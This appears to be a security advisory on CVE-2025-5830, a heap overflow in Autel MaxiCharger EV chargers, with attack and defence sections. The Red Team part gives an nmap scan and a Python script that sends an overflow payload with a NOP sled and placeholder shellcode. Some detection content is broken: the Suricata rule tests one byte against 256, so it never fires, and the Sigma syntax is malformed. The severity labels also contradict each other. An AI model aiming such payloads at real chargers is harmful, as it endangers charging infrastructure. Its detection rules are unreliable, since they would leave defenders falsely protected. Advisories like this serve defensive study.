CVE-2025-5830

Executive Summary

CVE-2025-5830 is a critical heap-based buffer overflow vulnerability in the Autel MaxiCharger AC Wallbox Commercial electric vehicle (EV) charger. The flaw resides in the handling of DLB_SlaveRegister messages, allowing a network-adjacent attacker to execute arbitrary code without authentication. With a CVSS score of 8.8, this vulnerability poses a severe risk to EV charging infrastructure, potentially enabling remote code execution (RCE) on the device. No patch is currently available, and no public exploit code has been released. The vulnerability was reported via ZDI-CAN-26327.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network – The attacker must be on the same network segment as the charger.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Full control over device operations.
• Availability (A): High – Potential denial of service or full compromise.

Threat Level: Critical for EV charging infrastructure. Exploitation could lead to physical damage, grid instability, or data exfiltration.

Deep Dive & Mechanics

The vulnerability is a heap-based buffer overflow in the DLB_SlaveRegister message handler. The device fails to validate the length of user-supplied data before copying it to a fixed-length heap buffer. An attacker can send a crafted DLB_SlaveRegister message with a payload exceeding the buffer size, overwriting adjacent heap memory. This can corrupt critical data structures and allow arbitrary code execution.

Root Cause: Lack of bounds checking in the message parsing routine. The memcpy or similar function copies attacker-controlled data without verifying the size against the allocated heap buffer.

Attack Vector: Network-adjacent attacker sends a malicious DLB_SlaveRegister message to the charger’s management interface (likely port 443 or a proprietary port). No authentication is required.

Impact: Full device compromise, including control over charging operations, firmware modification, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically:

Vulnerable Code (C-like pseudocode):

void handle_dlb_slave_register(char *data, int len) {
    char *buffer = malloc(256); // Fixed-size heap buffer
    memcpy(buffer, data, len);  // No length check
    // Process buffer...
}

Patched Code (Expected fix):

void handle_dlb_slave_register(char *data, int len) {
    if (len > 256) {
        // Reject oversized data
        return;
    }
    char *buffer = malloc(256);
    memcpy(buffer, data, len);
    // Process buffer...
}

The fix would involve validating the length of incoming data against the buffer size before copying.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the Autel MaxiCharger (same subnet or VLAN).
• Ability to send raw TCP/UDP packets to the charger’s management port.

Exploitation Steps:

1. Reconnaissance: Scan for Autel chargers using Shodan or Nmap (nmap -p 443 --open <subnet>).
2. Craft Payload: Create a DLB_SlaveRegister message with a heap overflow payload. Example using Python:

   import socket
   import struct
   
   target_ip = "192.168.1.100"
   target_port = 443
   
   # Craft malicious message (simplified)
   payload = b"A" * 256  # Fill buffer
   payload += struct.pack("<I", 0xdeadbeef)  # Overwrite heap metadata
   payload += b"\x90" * 100  # NOP sled
   payload += b"\xcc" * 50   # Shellcode placeholder
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(payload)
   sock.close()
   

3. Trigger Overflow: Send the crafted message. The overflow corrupts heap structures, leading to code execution.

Note: No public exploit exists; this is a conceptual demonstration.

Blue Team (Defense)

Detection:

• Monitor for anomalous network traffic to the charger’s management port.
• Use IDS/IPS rules to detect oversized DLB_SlaveRegister messages.
• Enable logging on the charger and correlate with network events.

Mitigation:

• Isolate EV chargers on a dedicated VLAN with strict access controls.
• Disable unnecessary management interfaces.
• Apply vendor patches when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusually large packets to port 443 (or proprietary port) from unknown sources.
  • Repeated connection attempts from the same IP.
  • Malformed DLB_SlaveRegister messages with excessive length fields.
• Host IOCs:
  • Unexpected process crashes or reboots of the charger.
  • Unauthorized firmware modifications.
  • Presence of shellcode or backdoor binaries in memory.
• File IOCs:
  • Modified configuration files.
  • New files in /tmp or /var directories.

Detection Engineering

YARA Rule

rule CVE_2025_5830_Autel_Heap_Overflow {
    meta:
        description = "Detects heap overflow attempts targeting Autel MaxiCharger DLB_SlaveRegister"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5830"
    strings:
        $dlb_slave = "DLB_SlaveRegister" ascii wide nocase
        $overflow = { 41 41 41 41 41 41 41 41 } // Pattern of 'A's
    condition:
        $dlb_slave and #overflow > 10
}

Sigma Rule

title: Autel MaxiCharger Heap Overflow Attempt
id: 8f7b3c2a-1e5d-4f9a-8c3b-6a2d1e0f4b8c
status: experimental
description: Detects network traffic indicative of CVE-2025-5830 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - payload|contains: "DLB_SlaveRegister"
        - payload_length: > 256
    condition: selection
falsepositives:
    - Legitimate firmware updates (rare)
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2025-5830 Autel MaxiCharger Heap Overflow Attempt"; content:"DLB_SlaveRegister"; depth:100; byte_test:1,>,256,0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place EV chargers on an isolated VLAN with strict firewall rules.
2. Disable Unused Services: Turn off management interfaces if not required.
3. Monitor Traffic: Deploy IDS/IPS rules from Detection Engineering section.

Long-Term Fix:

• Await vendor patch. Contact Autel support for updates.
• Implement input validation in custom firmware if possible.

Workaround:

• Use a VPN or bastion host for remote management.
• Restrict physical access to the charger’s network port.

Valters IT